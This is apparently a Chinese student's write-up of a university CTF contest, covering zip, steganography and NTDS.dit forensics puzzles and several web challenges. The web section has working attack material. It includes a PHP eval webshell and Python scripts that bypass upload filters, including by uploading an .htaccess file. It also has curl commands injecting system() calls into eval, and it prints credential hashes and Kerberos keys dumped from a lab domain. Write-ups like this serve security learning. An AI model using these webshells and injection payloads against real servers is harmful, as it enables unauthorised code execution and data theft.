前言

受ZJUT亲爱的白糖学长的蛊惑,我在前往上海看未来有你2025演唱会前一天晚上赶着完成了ZJUT的CTF2026校赛,噩梦的开始

主要是ta的博客里是这么写前一届的比赛的,我真信了,于是在当天晚上打到凌晨3点……,不过第二天应援我还怪有精力的就是了

前言

这次赛题感觉整体难度不高,不会或者不了解的地方上网搜搜很快就能学会,答出大部分题应该是足够了。

——by sugerMGP的博客

ctfjb.webp

被mgg学长拉爆力(悲

wtfctfscore2.webp

mgg学长炸鱼珍贵录像(第2个是我)

我需要准备什么?

首先,你需要这些环境

  • python环境

  • conda python虚拟环境(方便安装一些上古工具)

  • 换过国内源的pip

  • linux环境(强烈建议)

Linux环境可以考虑装WSL,建议是Debian或者Ubuntu,怎么顺手怎么来

其次是工具,做misc和编写py脚本可能会用到

  • vscode(写脚本)

  • 010editor(十六进制编辑器)或者 Winhex

  • binwalk(查看文件结构,debain、ubuntu仓库里面有)

  • 任何一个AI

  • 聪明的大脑和灵巧的双手

开始前,可以在linux下使用conda创建一个虚拟python环境

conda create -n ctf python=3.14
conda activate ctf

MISC

zip1

签到题,密码就在zip包注释里

unzip -z flag.zip

在 Windows 上直接右键压缩包 -> 属性 -> 摘要(或者直接用 WinRAR/7-Zip 打开看右侧栏)

看到==,拿到了一个base64加密串

echo "aV8xT3YzX0N0Zg==" | base64 -d

得到密码i_1Ov3_Ctf

图片的秘密

第二题,给了个相机的图片

安装exiftool

sudo apt install exiftool
exiftool photo.jpg

在comment里面找到了flag

当然你也可以用strings读取里面的字符串

strings photo.jpg | grep -i "stinger"

zip2

第三题,尝试使用7zip解压的时候需要密码,但是报错头部不正确

丢到linux下看这个压缩包

╭─[fridayssheep@allinone:~/文档]—{^o^}—(18:41:52)—(7ms)
╰─$> unzip -z zip21.zip
Archive:  zip21.zip
╭─[fridayssheep@allinone:~/文档]—{^o^}—(18:42:01)—(9ms)
╰─$> unzip -v zip21.zip
Archive:  zip21.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
     202  Defl:N      138  32% 2025-12-12 21:18 9b79978b  flag.zip
    8713  Defl:N     8353   4% 2025-12-12 21:16 03511ae9  Stinger-end.png
--------          -------  ---                            -------
    8915             8491   5%                            2 files
╭─[fridayssheep@allinone:~/文档]—{^o^}—(18:42:05)—(8ms)
╰─$> unzip zip21.zip
Archive:  zip21.zip
[zip21.zip] flag.zip password:

发现不对了,unzip -v 的列表里没有加密标志(没有星号 *),但是直接解压需要密码?由此判断这个压缩包是伪加密

怎么处理伪加密的压缩包?

将这个压缩包拖到010editor里面搜索十六进制 50 4B 01 02(这是中央目录区的头)。

在这个头后面第 8 个字节(通常是偏移 8 的位置),一半可以看到 09 00 或者 01 00。

把它改成 00 00,保存。

010editorfixfakezipencyrpt.webp

得到了一个图片和一个被加密的压缩包

尝试用exiftool看这个图片,但是这次啥也没有

没招了,开始乱猜,改图片高度,看010editor……,最后查了一通资料后考虑到会不会是LSP隐写

使用zsteg来检查LSP隐写,不过debian默认apt库里没有zsteg,需要使用gem安装

╭─[fridayssheep@allinone:~/文/zsteg|master]—{^o^}—(19:07:07)—(8ms)
╰─$> gem install zsteg
Defaulting to user installation because default installation directory (/var/lib/gems/3.3.0) is not writable.
WARNING:  You don't have /home/fridayssheep/.local/share/gem/ruby/3.3.0/bin in your PATH,
          gem executables (zsteg, zsteg-mask, zsteg-reflow) will not run.
Successfully installed zsteg-0.2.13
Parsing documentation for zsteg-0.2.13
Done installing documentation for zsteg after 0 seconds
1 gem installed
╭─[fridayssheep@allinone:~/文/zsteg|master]—{^o^}—(19:07:16)—(5.481s)
╰─$> zsteg
-bash: zsteg: 未找到命令
╭─[fridayssheep@allinone:~/文/zsteg|master]—{>_<:127}—(19:07:20)—(6ms)
╰─$> echo 'export PATH="$PATH:/home/fridayssheep/.local/share/gem/ruby/3.3.0/bin"' >> ~/.bashrc
╭─[fridayssheep@allinone:~/文/zsteg|master]—{>_<:127}—(19:08:03)—(4ms)
╰─$> source ~/.bashrc

配置好PATH后,使用zsteg检查这个图片,这下出来了

╭─[fridayssheep@allinone:~/文/zsteg|master]—{^o^}—(19:08:23)—(233ms)
╰─$> zsteg -a ../Stinger-end.png
b1,rgb,lsb,xy       .. text: "password1sCTF666"
b1,abgr,msb,xy      .. file: OpenPGP Secret Key
b2,r,lsb,xy         .. text: ["U" repeated 53 times]
b2,g,lsb,xy         .. text: ["U" repeated 53 times]
b2,b,lsb,xy         .. text: "@UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"

解压第二个压缩包,就拿到flag了

zip3

给了1个zip和1个写着这个zip的txt文件,双击发现zip文件里面还是1个zip和写着这个zip的txt文件,你搁这套娃呢?

写个python脚本来处理这些套娃压缩包

import zipfile
import os

# 初始设置
zip_filename = "100.zip"  #第一个压缩包
current_password = "nestedpassword-0.02508752348381546" # 初始密码

def extract_nested_zip(zip_file, password):
    count = 0
    while True:
        try:
            with zipfile.ZipFile(zip_file) as zf:
                # 尝试用密码解压
                zf.extractall(pwd=password.encode())
                
                # 查找解压出来的文件
                files = zf.namelist()
                print(f"成功解压第 {count} 层: {files}")
                
                # 寻找下一个密码文件和下一个压缩包
                next_zip = None
                next_pass_file = None
                
                for f in files:
                    if f.endswith('.zip'):
                        next_zip = f
                    if f.endswith('.txt'):
                        next_pass_file = f
                
                if not next_zip:
                    print("到达最深层,没发现更多 ZIP 了!")
                    break
                
                # 更新下一次循环的数据
                if next_pass_file:
                    with open(next_pass_file, 'r') as f:
                        password = f.read().strip()
                
                zip_file = next_zip
                count += 1
                
        except Exception as e:
            print(f"解压出错或密码错误: {e}")
            break

extract_nested_zip(zip_filename, current_password)

在最后一个txt里面拿到了flag

域控密码读取

在开始这个题之前,容许我发泄一下我的个人情绪:

虽然我不知道出这道题的人是谁,但是这个题结结实实的把我对我校网络安全协会的好感败了个光

首先给了一个内含txt的zip加密文件和ntds与system文件

使用binwalk查看这个zip包

╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:21:55)—(806ms)
╰─$> binwalk flag1.zip

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, encrypted at least v2.0 to extract, compressed size: 184, uncompressed size: 223, name: flag.txt

╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:21:56)—(884ms)
╰─$> file system && file ntds
system: MS Windows registry file, NT/2000 or above
ntds: Extensible storage engine DataBase, version 0x620, checksum 0x6c04bc87, page size 8192, Windows version 10.0
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:21:56)—(193ms)
╰─$>

ntds (NTDS.dit):这是域控制器的数据库,存储了域内所有用户的账户信息、组关系,以及最重要的——所有用户的密码哈希 (NTLM Hashes)。

system (SYSTEM hive):这是 Windows 注册表文件。ntds.dit 是加密存储的,而解密它所需的 Boot Key(引导密钥) 就藏在这个 system 文件里。

我在通过secretsdump解密出来了拿到的AD域控文件之后,尝试了将里面的占位NTML hash加密、各个用户名、密码加密编写了一个python脚本全部用于尝试解密压缩包,没有一个正确。同时解密出来的AD域控文件的history记录里面有一个修改过名字的用户,我在之后着重关注了这个修改过密码的krbtgt_history0。

通常如果用户修改过密码,-history 会显示 username_historyX。

格式: 用户:RID:LM哈希:NT哈希:::

例如 Administrator 的 NT Hash 是 dbd13e1c4e338284ac4e9874f7de6ef4。

那个 aad3b435b51404eeaad3b435b51404ee 是默认空密码的 LM Hash

我曾经尝试想过要不要用hashcat爆破第一个压缩包,于是我clone了kail的rockyou.txt,尝试以此作为特征字典爆破第一个压缩包,但是没有成功

╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:21:07)—(8ms)
╰─$> zipinfo -v flag1.zip | grep -i encrypt
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:21:08)—(14ms)
╰─$> hashcat -m 13600 flag1.zip rockyou.txt --force
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:22:41)—(1m32s)
╰─$> hashcat -m 13600 flag1.zip --show --outfile zip.hash --force
╭─[fridayssheep@allinone:~/文/dict\&system]—{^o^}—(00:22:58)—(18s)
╰─$> hashcat -m 13600 flag1.zip --keyspace --force

最终,当时间划过00:40,我彻底放弃了这个题,我已经在这个题上消耗了超过1个半小时,我的逆向和web题却一点没写,再不写就来不及了

那么,第一个zip包的密码是什么呢?

是他妈的我一直在用的工具名字secretsdump,里面的txt不是flag,是另一个压缩包,这个压缩包的密码就是他妈的的Windows NTML空密码的hash值

怎么知道这个压缩包的密码是这个工具呢?不知道,而且这题没有任何提示

nosloutionnormention.webp

到了这里我已经不想过多的吐槽,直接放给Grok的图好了

groktoctf.webp

groktoctf2.webp

这道题的本质以我个人理解,更像是“猜测出题人的想法”而不是去真真切切的应用知识和理解这个AD域的题,被这样的题ex两个小时我真的无话可说。如果出题的目的是考验选手的应变能力的话那我不觉得这个出题水平能有多高,反而,我极其鄙视这样的做法,我是来打比赛的,不是来玩剧本杀的。

解题方法

第一层加密无话可说,就是工具名字secretsdump

之后使用secretsdump解密AD域控文件,里面出现了大多Windows空密码占位NTML hash,将解压出来的txt文件改为zip文件,使用密码aad3b435b51404eeaad3b435b51404ee 解压这个zip文件即可拿到此题的flag

╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:14:01)—(52ms)
╰─$> secretsdump.py -system system -ntds ntds LOCAL -history
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xae5564d04e225ccba0d2643161c48b10
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: ddb6a826834aad5816b4c80b5220276b
[*] Reading and decrypting hashes from ntds
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:aa685d65871bfdf122009745b03f8e01:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8bf38852ab8d3a887ae867500c9a48c5:::

krbtgt_history0:502:aad3b435b51404eeaad3b435b51404ee:b5ca59b606a13445af2043409d2c0086:::

CASTELBLACK$:1104:aad3b435b51404eeaad3b435b51404ee:723026eda8195b4bd9e82caef809c40f:::

arya.stark:1109:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::

eddard.stark:1110:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::

catelyn.stark:1111:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::

robb.stark:1112:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::

sansa.stark:1113:aad3b435b51404eeaad3b435b51404ee:2c643546d00054420505a2bf86d77c47:::

brandon.stark:1114:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::

rickon.stark:1115:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::

hodor:1116:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::

jon.snow:1117:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::

samwell.tarly:1118:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::

jeor.mormont:1119:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::

sql_svc:1120:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::

SEVENKINGDOMS$:1121:aad3b435b51404eeaad3b435b51404ee:1b89cf55c349b296a8fc34f95d7580e0:::

[*] Kerberos keys from ntds

Administrator:aes256-cts-hmac-sha1-96:e7aa0f8a649aa96fab5ed9e65438392bfc549cb2695ac4237e97996823619972

Administrator:aes128-cts-hmac-sha1-96:bb7b6aed58a7a395e0e674ac76c28aa0

Administrator:des-cbc-md5:fe58cdcd13a43243

vagrant:aes256-cts-hmac-sha1-96:aa97635c942315178db04791ffa240411c36963b5a5e775e785c6bd21dd11c24

vagrant:aes128-cts-hmac-sha1-96:0d7c6160ffb016857b9af96c44110ab1

vagrant:des-cbc-md5:16dc9e8ad3dfc47f

WINTERFELL$:aes256-cts-hmac-sha1-96:c0880c4af7d14d09402a8138bb48d1b526e1fa5f5fc4ce4f9fe89ef2422eb304

WINTERFELL$:aes128-cts-hmac-sha1-96:23b19c152d6b8c3aa275b16b082675ed

WINTERFELL$:des-cbc-md5:7ff72c75d5d683b5

krbtgt:aes256-cts-hmac-sha1-96:82b8cbbbe398df35611657a4fab06f32fedc6a9c0036ae6e0988193de5c30a8c

krbtgt:aes128-cts-hmac-sha1-96:d4a753716a2747b19c1eb09a9e0d4a97

krbtgt:des-cbc-md5:708ad92523fdf7b6

CASTELBLACK$:aes256-cts-hmac-sha1-96:ac20a1c7051889152b6811094c6e52bd854d347a0e9b52ad63b6ea98794b1423

CASTELBLACK$:aes128-cts-hmac-sha1-96:c1fe9a27470b9bd8e0e9537e4f63b3ae

CASTELBLACK$:des-cbc-md5:fec498bf3eea5ef8

arya.stark:aes256-cts-hmac-sha1-96:2001e8fb3da02f3be6945b4cce16e6abdd304974615d6feca7d135d4009d4f7d

arya.stark:aes128-cts-hmac-sha1-96:8477cba28e7d7cfe5338d172a23d74df

arya.stark:des-cbc-md5:13525243d6643285

eddard.stark:aes256-cts-hmac-sha1-96:f6b4d01107eb34c0ecb5f07d804fa9959dce6643f8e4688df17623b847ec7fc4

eddard.stark:aes128-cts-hmac-sha1-96:5f9b06a24b90862367ec221a11f92203

eddard.stark:des-cbc-md5:8067f7abecc7d346

catelyn.stark:aes256-cts-hmac-sha1-96:c8302e270b04252251de40b2bd5fba37395b55d5ed9ac95e03213dc739827283

catelyn.stark:aes128-cts-hmac-sha1-96:50ce7e2ad069fa40fb2bc7f5f9643d93

catelyn.stark:des-cbc-md5:6b314670a2f84cfb

robb.stark:aes256-cts-hmac-sha1-96:d7df5069178bbc93fdc34bbbcb8e374fd75c44d6ce51000f24688925cc4d9c2a

robb.stark:aes128-cts-hmac-sha1-96:b2965905e68356d63fedd9904357cc42

robb.stark:des-cbc-md5:c4b62c797f5dd01f

sansa.stark:aes256-cts-hmac-sha1-96:cd2460a78e8993442498d3f242a88ae110ec6556e40c8add6aab12cfb44b3fa1

sansa.stark:aes128-cts-hmac-sha1-96:18b9d10bd18d1956ba73c14426ec519f

sansa.stark:des-cbc-md5:e66445757c31c176

brandon.stark:aes256-cts-hmac-sha1-96:6dd181186b68898376d3236662f8aeb8fa68e4b5880744034d293d18b6753b10

brandon.stark:aes128-cts-hmac-sha1-96:9de3581a163bd056073b71ab23142d73

brandon.stark:des-cbc-md5:76e61fda8a4f5245

rickon.stark:aes256-cts-hmac-sha1-96:79ffda34e5b23584b3bd67c887629815bb9ab8a1952ae9fda15511996587dcda

rickon.stark:aes128-cts-hmac-sha1-96:d4a0669b1eff6caa42f2632ebca8cd8d

rickon.stark:des-cbc-md5:b9ec3b8f2fd9d98a

hodor:aes256-cts-hmac-sha1-96:a33579ec769f3d6477a98e72102a7f8964f09a745c1191a705d8e1c3ab6e4287

hodor:aes128-cts-hmac-sha1-96:929126dcca8c698230b5787e8f5a5b60

hodor:des-cbc-md5:d5764373f2545dfd

jon.snow:aes256-cts-hmac-sha1-96:5a1bc13364e758131f87a1f37d2f1b1fa8aa7a4be10e3fe5a69e80a5c4c408fb

jon.snow:aes128-cts-hmac-sha1-96:d8bc99ccfebe2d6e97d15f147aa50e8b

jon.snow:des-cbc-md5:084358ceb3290d7c

samwell.tarly:aes256-cts-hmac-sha1-96:b66738c4d2391b0602871d0a5cd1f9add8ff6b91dcbb7bc325dc76986496c605

samwell.tarly:aes128-cts-hmac-sha1-96:3943b4ac630b0294d5a4e8b940101fae

samwell.tarly:des-cbc-md5:5efed0e0a45dd951

jeor.mormont:aes256-cts-hmac-sha1-96:be10f893afa35457fcf61ecc40dc032399b7aee77c87bb71dd2fe91411d2bd50

jeor.mormont:aes128-cts-hmac-sha1-96:1b0a98958e19d6092c8e8dc1d25c788b

jeor.mormont:des-cbc-md5:1a68641a3e9bb6ea

sql_svc:aes256-cts-hmac-sha1-96:24d57467625d5510d6acfddf776264db60a40c934fcf518eacd7916936b1d6af

sql_svc:aes128-cts-hmac-sha1-96:01290f5b76c04e39fb2cb58330a22029

sql_svc:des-cbc-md5:8645d5cd402f16c7

SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:c2ac7ab055d49ba523564eab3bfe041e026ce6745413cb8ea19514771de06080

SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:5796cbf539ac141f8fed3a05892eff12

SEVENKINGDOMS$:des-cbc-md5:92d5bf79fe57158a
[*] Cleaning up...
╭─[fridayssheep@allinone:~/文/dict&system]—{^o^}—(23:14:22)—(3.877s)
╰─$>

都是你的戳

给了一张神秘小图片,使用binwalk发现其实是个套娃文件,直接-e提取这个文件

╭─[fridayssheep@allinone:~/文/new]—{^o^}—(23:46:12)—(7ms)
╰─$> binwalk challenge.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2048 x 2048, 8-bit/color RGB, non-interlaced
223           0xDF            Zlib compressed data, default compression
4116349       0x3ECF7D        Zip archive data, at least v2.0 to extract, name: gallery/
4116387       0x3ECFA3        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/01.jpg
4152135       0x3F5B47        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/02.jpg
4187883       0x3FE6EB        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/03.jpg
4223631       0x40728F        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/04.jpg
4259379       0x40FE33        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/05.jpg
4295127       0x4189D7        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/06.jpg
4330875       0x42157B        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/07.jpg
4366623       0x42A11F        Zip archive data, at least v2.0 to extract, compressed size: 492, uncompressed size: 1867,name: secret_letter.txt
4368023       0x42A697        End of Zip archive, footer length: 22

╭─[fridayssheep@allinone:~/文/new]—{^o^}—(23:46:21)—(7ms)
╰─$> binwalk -e challenge.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
223           0xDF            Zlib compressed data, default compression
4116349       0x3ECF7D        Zip archive data, at least v2.0 to extract, name: gallery/
4116387       0x3ECFA3        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/01.jpg
4152135       0x3F5B47        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/02.jpg
4187883       0x3FE6EB        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/03.jpg
4223631       0x40728F        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/04.jpg
4259379       0x40FE33        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/05.jpg
4295127       0x4189D7        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/06.jpg
4330875       0x42157B        Zip archive data, at least v2.0 to extract, compressed size: 35704, uncompressed size: 35854, name: gallery/07.jpg
4366623       0x42A11F        Zip archive data, at least v2.0 to extract, compressed size: 492, uncompressed size: 1867,name: secret_letter.txt

WARNING: One or more files failed to extract: either no utility was found or it's unimplemented

╭─[fridayssheep@allinone:~/文/new]—{^o^}—(23:46:23)—(3.173s)
╰─$> ls
challenge.jpg  _challenge.jpg.extracted/

进入提取出来的文件夹后发现有个歌词,但是歌词明显大的不正常

╭─[fridayssheep@allinone:~/文/n/_challenge.jpg.extracted]—{^o^}—(23:48:31)—(24.615s)
╰─$> ls
3ECF7D.zip  DF  DF.zlib  secret_letter.txt

abnormollrc.webp

解压那个3ECF7D.zip,得到了gallery文件夹(其实binwalk会把这个zip也自动提取出来),进入gallery这个文件夹,根据提示列出时间戳

╭─[fridayssheep@allinone:~/文/n/_/gallery]—{>_<:2}—(23:48:35)—(8ms)
╰─$> ls -la --full-time ./
总计 252
drwxrwxr-x 1 fridayssheep fridayssheep    84 2025-12-17 19:50:24.000000000 +0800 ./
drwxrwxr-x 1 fridayssheep fridayssheep    86 2025-12-25 19:33:50.785141338 +0800 ../
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:24.000000000 +0800 01.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:46.000000000 +0800 02.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:50.000000000 +0800 03.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:42.000000000 +0800 04.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:16.000000000 +0800 05.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:01:42.000000000 +0800 06.jpg
-rw-rw-r-- 1 fridayssheep fridayssheep 35854 2024-03-10 00:02:02.000000000 +0800 07.jpg

之后再无思路了,拿去问ge迷你

geminifoundtimekey.webp

一开始以为是图片隐写,遂用steghide 尝试提取一开始的图片,但是啥也没有

steghide extract -sf challenge.jpg -p TimeKey

再用cat直接查看那个大的不正常的歌词文件的原始内容,发现了一堆^M空行,查了一下发现是Snow隐写,用刚刚得到的Timekey提取,成功得到了flag

╭─[fridayssheep@allinone:~/文/n/_challenge.jpg.extracted]—{^o^}—(23:54:03)—(12ms)
╰─$> stegsnow -C -p "TimeKey" secret_letter.txt
flag{Time_Stamps_Are_Interesting}
╭─[fridayssheep@allinone:~/文/n/_challenge.jpg.extracted]—{^o^}—(23:54:03)—(69ms)
╰─$>

Web

文件上传挑战

给了上传接口,尝试上传一句话木马<?php @eval($_POST['cmd']);?>但是限制了上传文件类型,打开F12发现是纯前端限制,那解决方法就多了,可以抓包后改掉上传类型,那就写个py脚本解决吧

limitbyfrontend.webp

import requests

url = "http://ctf.zjutsoft.cn:10143/" # 目标地址

shell_content = "<?php @eval($_POST['cmd']);?>"
files = {
    'fileToUpload': ('shell.php', shell_content, 'image/jpeg')
}

data = {
    'submit': '上传文件'
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}

print(f"[*] 正在尝试上传到 {url} ...")

try:
    response = requests.post(url, files=files, data=data, headers=headers)
    
    print(f"[*] 状态码: {response.status_code}")
    print("-" * 50)
    print(response.text)
    print("-" * 50)

except Exception as e:
    print(f"[-] 发生错误: {e}")

完成后使用crul尝试列出目录内容

╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:33:53)—(257ms)
╰─$> curl -d "cmd=system('ls /');" http://ctf.zjutsoft.cn:10143/uploads/shell.php
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

flag就躺在根目录下,把他cat出来就可以了

curl -d "cmd=system('cat /flag.txt');" http://ctf.zjutsoft.cn:10143/uploads/shell.php

web签到题

无意义的限制了不能点击右键菜单,但是可以F12查看前端源码啊?

他真的,我哭死,他怕你不知道怎么弄还写了注释

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>Advanced Web CTF</title>
</head>
<body>

<h2>Nothing here 👀</h2>
<p>页面上是没有 flag 的。</p>


<script>
    const APP_CONFIG = {
        name: "ctf",
        version: "1.2.3",
        build: [115, 111, 95, 117, 114, 99, 101], // 🤔
        debug: false
    };
</script>

<script>

(function(){

    document.oncontextmenu = () => false;


    console.log(
        "%cConsole is not only for errors.",
        "color:#ff4d4f;font-size:16px"
    );

})();



function _0x3f(a){
    return String.fromCharCode(a);
}


function __init(){
    let r = "";
    for(let i of APP_CONFIG.build){
        r += _0x3f(i);
    }
    return r; 
}
//输入get_flag(1337)

function _x(){
    let s = "ZWwwczBucw=="; 
    return atob(s).split("").reverse().join("");
}


window["g"+"et"+"_"+"f"+"l"+"a"+"g"] = function(key){
    if(key !== 1337){
        return "Nope.";
    }

    let p1 = __init();
    let p2 = _x();

    return "flag{" + p1 + "_" + p2 + "}";
};
</script>

</body>
</html>

在控制台里输入get_flag(1337)就可以拿到flag了

PHP命令执行

前端展示了一串PHP源码

<?php
error_reporting(0);
show_source(__FILE__);
eval("var_dump((Object)$_POST[1]);"); 

这里里的逻辑是:程序接收通过POST发送的参数 1,将其强制转换为对象,然后用 var_dump()打印出来。

由于eval内部是用双引号包裹的字符串拼接,可以通过闭合括号和分号来逃逸出原本的var_dump逻辑,从而执行我们自己的命令。

简单构建一个payload即可

curl -d "1=1);system('cat /flag.txt');#" http://ctf.zjutsoft.cn:10150

web签到题_request1

依旧是一串PHP源码

<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['Web001']]]]['S']['t']['i']['n']['g']['e']['r'][6][6][6]);
?>

要执行的 eval() 里面是一个超级复杂的索引: eval($_REQUEST[$_GET[$_POST[$_COOKIE['Web001']]]]['S']['t']['i']['n']['g']['e']['r'][6][6][6]);

为了让 eval 执行命令,需要从最内层开始:

第一层 (Cookie): 程序先找 $_COOKIE['Web001']

第二层 (POST): 程序接着找 $_POST['a'](也就是刚才 Cookie 的值)。

第三层 (GET): 程序再找 $_GET['b'](也就是刚才 POST 的值)。

第四层 (REQUEST): 最后程序去 $_REQUEST['c'] 里找那一串套娃索引 ['S']['t']['i']['n']['g']['e']['r'][6][6][6]

这意味着我们需要同时在 CookiePOSTGET 中传参。

  • Cookie: Web001=a

  • POST: a=b&c[S][t][i][n][g][e][r][6][6][6]=system('cat /flag.txt'); (PHP 会自动把 c[S][t]... 解析为多维数组)

  • GET: ?b=c

直接用curl传入好了

curl -v -b "Web001=a" \
     -d "a=b&c[S][t][i][n][g][e][r][6][6][6]=system('cat /flag.txt');" \
     "http://ctf.zjutsoft.cn:10132/?b=c"

file_upload2

这次变成了服务器端的upload.php做判断力(悲

<form action="upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" value="上传文件" name="submit">
    </form>

这个php疑似是白名单模式,对任何php文件后缀都拒绝上传,那就只能使用.htaccess 配置文件攻击了,并且在之后的测试中发现这个php文件还会检查文件头,那就一次写个python脚本处理了吧

先尝试将一句话木马伪装成图片上传到服务器

import requests

url = "http://ctf.zjutsoft.cn:10143/upload.php"

# 尝试不同的内容格式(绕过代码内容检查)
contents = {
    'standard': b"GIF89a\n<?php @eval($_POST['cmd']);?>",
    'short_tag': b"GIF89a\n<?=@eval($_POST['cmd']);?>",
}

# 尝试不同的后缀(针对白名单)
extensions = ['jpg', 'png', 'jpeg', 'php.jpg', '.user.ini', '.htaccess']

def try_upload():
    for content_type, content in contents.items():
        for ext in extensions:
            filename = f"test.{ext}" if ext != '.user.ini' and ext != '.htaccess' else ext
            
            # 伪装 MIME 类型
            mime = 'image/jpeg' if 'jpg' in ext or 'jpeg' in ext else 'image/png'
            if ext == '.htaccess' or ext == '.user.ini':
                mime = 'image/png' # 尝试伪装成图片上传配置文件

            files = {'fileToUpload': (filename, content, mime)}
            data = {'submit': '上传文件'}
            
            print(f"[*] 尝试内容模式 [{content_type}] + 后缀 [{ext}] ...")
            
            try:
                response = requests.post(url, files=files, data=data)
                
                if "成功" in response.text:
                    print(f"[!] 成功上传: {filename}")
                    # 寻找并打印文件路径
                    if "uploads/" in response.text:
                        print(f"路径回显: {response.text.split('uploads/')[1].split('<')[0]}")
                    return
                else:
                    # 打印关键报错,看服务器到底在嫌弃什么
                    if "非法内容" in response.text:
                        print("[-] 报错: 非法内容(后缀或代码拦截)")
                    elif "类型错误" in response.text:
                        print("[-] 报错: 类型错误(MIME或后缀不匹配)")
            except Exception as e:
                print(f"[-] 异常: {e}")

try_upload()
╭─[fridayssheep@allinone:~/文/web]—{>_<:2}—(01:49:22)—(26ms)
╰─$> python 5test.py
[*] 尝试内容模式 [standard] + 后缀 [jpg] ...
[!] 成功上传: test.jpg
路径回显: test.jpg" target="_blank">
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:49:25)—(254ms)
╰─$>

上传成功了,接下来篡改服务器的.htaccess 配置文件

import requests

url = "http://ctf.zjutsoft.cn:10116/upload.php"

# 让 Apache 把所有 .jpg 后缀的文件都交给 PHP 解释器处理
htaccess_content = 'AddType application/x-httpd-php .jpg'

files = {
    'fileToUpload': ('.htaccess', htaccess_content, 'image/jpeg') # 伪装成图片
}
data = {'submit': '上传文件'}

print("[*] 正在上传 .htaccess 以修改服务器解析规则...")
try:
    response = requests.post(url, files=files, data=data)
    if "成功" in response.text:
        print("[+] .htaccess 上传成功!")
    else:
        print("[-] 上传失败")
        print(response.text)
except Exception as e:
    print(f"[-] 异常: {e}")
╭─[fridayssheep@allinone:~/文/web]—{^o^}—(01:51:39)—(55ms)
╰─$> python 5-1.py
[*] 正在上传 .htaccess 以修改服务器解析规则...
[+] .htaccess 上传成功!
